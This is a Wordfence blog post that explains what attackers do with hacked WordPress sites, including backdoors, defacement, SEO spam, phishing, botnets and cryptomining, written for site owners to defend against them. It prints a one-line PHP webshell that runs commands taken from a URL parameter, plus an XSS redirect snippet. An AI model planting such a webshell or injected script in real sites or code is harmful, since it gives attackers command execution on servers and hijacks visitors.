Yesterday, September 15, 2020, the Wordfence Live team covered The Hacker Motive: What Attackers Are Doing with Your Hacked Site. This companion blog post reviews the motives we discussed live during Wordfence Live and dives deeper into the minds of attackers.

You can watch the video of Wordfence Live below.

Timestamps

You can click on these timestamps to jump around in the video.

  • 00:00 Introduction
  • 6:45 How the Wordfence site cleaning process works
  • 10:45 How the Wordfence real-time blacklist works
  • 14:06 Updates on the WordPress File Manager plugin vulnerability
  • 19:16 Backdoors
  • 27:00 Defacements
  • 35:51 SEO Spam links
  • 39:00 Spam pages
  • 43:17 Japanese Keyword hack
  • 44:39 PHP Mailers
  • 47:49 Phishing
  • 51:01 Malicious Redirect
  • 52:23 Command and Control Botnet
  • 54:58 Cryptomining
  • 57:15 Credit Card Skimmers
  • 58:57 Winners of the livestream swag

Introduction

WordPress powers over 35% of the internet, making it one of the most popular content management systems. This means that WordPress is also one of the most targeted systems. Hackers understand that if they can become experts at compromising WordPress vulnerabilities, they can target and exploit more sites. With tens of thousands of plugins and themes available, the likelihood of discovering an easily exploitable intrusion vector installed on numerous sites adds to the attractiveness of WordPress as a target for malicious attacks.

WordPress hackers range from inexperienced script kiddies looking to get started to sophisticated crime syndicates. A script kiddie who has very little technical experience may simply go around defacing websites for fun and bragging rights, whereas a black hat hacking syndicate may spend more time evading malware scanners, developing complex command and control networks to maximize their impact, and monetizing compromised sites using SEO spam links and other methods. We will explore these motives a little further and provide you with some in-depth insight on why attackers target and compromise WordPress websites.

Our hope in doing so is that this information will empower you to protect your site, no matter how small or insignificant you might perceive your site to be. There is immense value in any WordPress site, and we hope to empower you to take steps to protect your site from these types of attacks.

Hacker Motive #1: Installing Backdoors

A backdoor is a piece of code inserted somewhere on a site, either in an already existing valid file like a theme’s 404 file or in a newly generated file, that provides an attacker with the ability to execute commands on the compromised site’s server. A backdoor can also establish a reverse shell to the server to execute commands and navigate the filesystem freely.

Attackers often install multiple backdoors to maintain persistence on a compromised site. This means that they have an easy way to revisit and regain access to compromised sites. Attackers use this access to make changes to a compromised site that benefits a monetization campaign, or re-infect sites in the event that infected content was incompletely cleaned or vulnerabilities were patched while the backdoor remained undetected.

Backdoors can also be installed by an attacker in hopes of gaining shell access to a server. Once an attacker gains shell access, they can potentially escalate their privileges by exploiting kernel-level vulnerabilities to gain root access to the server, which would allow them to take over other sites hosted on the same server.

In rarer cases, backdoors can also be added by developers during the development process of a WordPress site to act as a maintenance hook or killswitch in the event that a site owner stops paying for maintenance. If a developer you don’t know well has created something for your site, it is important to verify that they have not added any backdoors by performing a malware and vulnerability scan with a product like Wordfence once the development process has concluded.

A simple PHP webshell that an attacker could use to execute commands on a compromised WordPress website could look like:

<?php echo shell_exec($_GET['cmd']); ?>

Hacker Motive #2: Defacement

Defacement occurs when an attacker alters the content, or face, of a site to something else typically with no real immediate benefit to themselves. This can be something as simple as a tagline like “This site was hacked by r0gu3 1: L33t Hax0rs” with a green cyber text background. Most of the time attackers will deface sites to send a political message or simply to show off. There is typically no monetary gain from defacing a site, though it may be intended to embarrass the site’s owner.

There was a massive defacement campaign back in February of 2017 when a REST API vulnerability was discovered in versions 4.7 – 4.7.1 of WordPress that allowed unauthenticated attackers to update arbitrary posts. Hundreds of thousands of sites were affected by this vulnerability while attackers were competing in what appeared to have been a “Defacement Contest.”

A “Defacement Contest” is when attackers will attempt to deface as many sites as possible to claim victory over other attackers, purely for bragging rights.

The following is an example of a defacement we saw back in 2017 during the defacement contest exploiting the REST API vulnerability.

There have been some cases where “grey hat” hackers, who don’t have fully malicious intent but still perform illegal actions, have defaced sites purportedly to raise the awareness of site owners and alert them to the fact that they have vulnerable sites. Though less common, some attackers do make an effort to cause minimal damage beyond making the site owner aware that their site is vulnerable.

Hacker Motive #3: Spam/SEO Content Injection

Spam/SEO content injection occurs when an attacker injects HTML containing visible or hidden links to external websites in hopes of improving the search engine ranking for those sites. This is mostly done for monetary gain. Attackers can be paid on the black market or dark web to improve site’s SEO rankings or they can aim to improve the SEO of their own sites by injecting these spam links into victim’s sites.

Search engines will score a site’s popularity based on a number of ranking factors, including the number of inbound links that site has on the web as a whole. Inbound links tell the search engines that other site owners view the site as authoritative, and numerous backlinks from high authority sites can boost a site’s performance in the search engine result pages (SERPs). Attackers looking to perform well in the SERPs will try to place as many links on clean, high authority sites as possible in highly competitive and profitable niches. SEO spam is often used to promote sites that online ad providers are unwilling or unable to work with for legal reasons, such as pharmaceutical, online gambling, counterfeit goods, and illegal download sites.

Our Security Services Team (SST) often finds these links embedded at the bottom in posts, site footers, or other locations. Sometimes these can be hidden from view. Either way, SEO spam links can go undetected for quite some time if you are not actively examining your site’s pages or performing malware scanning on your WordPress site.

Example of a WordPress post containing a spam link.

Hacker Motive #4: Spam Page Creation

Similar to spam links, spam pages try to boost a site in a highly competitive and profitable niche higher in the search engine result pages. Unlike spam links, however, these attacks consist of multiple HTML pages containing spam content injected into a compromised site. It can also involve spam pages being created within WordPress itself.

Sites that have older domain names have higher authority ranking factors on search engines and are a more desirable target for attackers as the domain authority is also transferred to the spam pages created by the attacker.

The motive for attackers in this scenario is monetization. The spam pages they create often contain affiliate links in hopes that the attacker can drive sales to business and earn money from the affiliate income generated by the spam pages. These spam pages may also redirect site users to an alternative site selling products, again as a means to monetize the compromised site.

One common spam page creation hack that we often see is the “Japanese keyword” hack. This typically involves the creation of a folder with several HTML pages containing Japanese spam with affiliate links to sell merchandise. These pages are quite often indexed by Google and it can become so severe that search results for an infected site only show Japanese keyword pages in search results.

An example of a site’s search results showing Japanese keywords. Image Source: https://developers.google.com/web/fundamentals/security/hacked/fixing_the_japanese_keyword_hack

Hacker Motive #5: PHP Mailer Creation

A PHP mailer script sends emails on a server through PHP code. Attackers will often use these scripts on a compromised site to exploit the mailing functions of the server and send out unwanted spam messages. Spam usually refers to unsolicited emails designed to grab your attention to try and get you to purchase a product. Spam can also consist of emails designed to trick you into executing actions like entering your password, which would be considered phishing, or to initiate other common scams.

Spam is as old as email itself, and it is still incredibly profitable even with today’s advanced email filters.

Why do attackers compromise WordPress sites to send spam?
It’s simple. You have a reputable and legitimate site, so sending spam emails from your site is an attractive target as it will take longer for an attacker to get detected and shut down. By using your site’s email service as the email source, an attacker is likely to bypass many email filters and their spam messages will get delivered successfully to more targets. Your site is also providing free mailing resources for the attacker to exploit and send their spam messages to earn money, and regardless of the traffic your site receives an attacker can use your hosting and mailing resources to their benefit. Again, the motive here is to earn money and go undetected for as long as possible.

Hosting providers have a strong incentive to shut down malicious mailers sending spam in order to protect their IP addresses from blacklisting. This means that the first indication of a PHP mailer infection is often that your site is shut down. Your site could also end up on a blacklist if you are not actively monitoring and scanning your site for malware and indicators of compromise.

Hacker Motive #6: Phishing Campaigns

Phishing involves using legitimate-appearing emails to try and trick a user into performing some sort of action, such as logging in to a fake online banking site. Compromised WordPress sites can be used as a source of phishing emails being sent out, and they can host phishing pages posing as a different site in order to collect sensitive information..

Our Security Services Team has seen many cases where WordPress sites were compromised and then a phishing kit was installed. A phishing kit is essentially a bundle of files used to create a webpage resembling a legitimate site such as Google Drive or an online banking site. In these cases, your site would act as a free host for malicious attackers hosting a phishing page to harvest user details.

Links to these webpages are then provided in phishing emails, which are emails that appear to come from a legitimate source. The attacker is hoping users will click on the link in the email and provide their credentials, or other sensitive information, on the phishing page.

Here is an example of a phishing page intended to harvest Google credentials we reported on in 2017. Looks awfully close to the normal Google sign in area you typically see when logging in, right?

GMail data URI phishing sign-in page

The vast majority of the time, phishing campaigns are used to target user credentials for services such as banking sites or corporate assets in hopes of stealing data from those accounts to sell on the dark web. Again, phishing campaigns are predominantly built as a means to monetize, whether that be directly or indirectly by harvesting and selling user credentials.

Make sure to never supply credentials or sensitive information after clicking on a link in an email. If you receive what appears to be a notice from Wells Fargo or WordPress for example, make sure to visit that site directly to log in and view any notices. Closely examine the contents of any email, including the links within, and assume any link is malicious.

Hacker Motive #7: Malicious Redirects

Malicious redirects are used to redirect legitimate site users to an alternative site, typically in hopes of infecting the victim’s computer through a malicious download. Attackers like to install malicious software on user computers for a plethora of reasons, but it nearly always stems from one motive: monetization.

Attackers will also sometimes choose to redirect site users to a spam site in hopes of selling products to, again, try and monetize.

Malicious redirects are typically the result of a cross-site scripting vulnerability or an arbitrary option change vulnerability. The best way to protect your site from being exploited by these vulnerabilities would be to keep your themes, plugins, and core up to date and to run a web application firewall to help protect your site during interim periods when a vulnerability has been discovered but your site has not yet been updated to patch the vulnerable code. As a site visitor, the best way to protect yourself against malicious redirects is by using antivirus software on the devices you use to browse websites.

An example of JavaScript an attacker might inject through an XSS attack to redirect your site visitors to a malicious site could look like:

 <script type="text/javascript"> window.location.replace("https://wordfence.com");</script> 

Hacker Motive #8: Command & Control Server With a Botnet

A botnet is a group of already compromised hosts, referred to as “zombies,” typically used by an attacker to try and infect additional hosts or execute a DDoS attack. The Command and Control, or C2, server is what attackers use to control the compromised hosts and direct them to perform many different actions. This is a motive where attackers don’t necessarily care about the visibility or traffic to your site, but rather they are looking to utilize your site’s hosting resources.

Back in December of 2018, we followed a massive brute-force campaign that used an attacker-created botnet to try and gain access to more WordPress sites. Essentially, an attacker created a command and control server used to control the many infected “zombie” WordPress sites and brute force other WordPress sites utilizing the resources of the already compromised WordPress sites.

The motive behind command and control botnets is also monetization through exploitation of vulnerabilities and to do so quickly at scale. These exploitations are often much more sophisticated and require the use of backdoors on affected systems to maintain persistence and to execute commands initiated by control servers. Once an attacker has control of a botnet, they can use any of the other monetization methods listed, or lease or sell it directly.

Hacker Motive #9: Cryptomining

Cryptomining infections occur when attackers infect sites with cryptominers, which are used to earn cryptocurrency, which is a digital form of currency utilizing a blockchain. Cryptocurrencies leverage blockchain technology to gain decentralization, transparency, and immutability. This is another scenario where the attacker’s motive doesn’t require your site to be visible or popular, but rather the site’s hosting resources (or visitors) are exploited to provide monetary gain to the attacker.

We have seen massive campaigns in the past where an attacker has utilized all of a server’s resources in order to mine for cryptocurrency. This can have a significant impact on your site as it can result in your site being taken offline causing a loss in availability. Additionally, JavaScript-based cryptominers have also been used to generate cryptocurrency using site visitor browsers in the past, though these are far less common than they were a few years ago.

Conclusion

In order to protect yourself from hackers, you need to think like a hacker. By better understanding hacker motives for compromising vulnerable websites, you are better equipped to both diagnose affected systems in the event of a compromise as well as protect your WordPress site from becoming a victim of an attacker’s attempts at exploiting vulnerable code.

We hope that we have helped you better understand some of the common hacker motives and why they might target your WordPress site, so you can take the precautionary steps you need to stay safe, including protecting your site with Wordfence Premium.

If you have any friends or colleagues using WordPress, share this post with them. The safer we make the entire WordPress community by learning about hacker motives, the safer we all are from hackers looking to compromise WordPress sites.

The post The Hacker Motive: What Attackers Are Doing with Your Hacked Site appeared first on Wordfence.

Read More
Page 1 of 512345»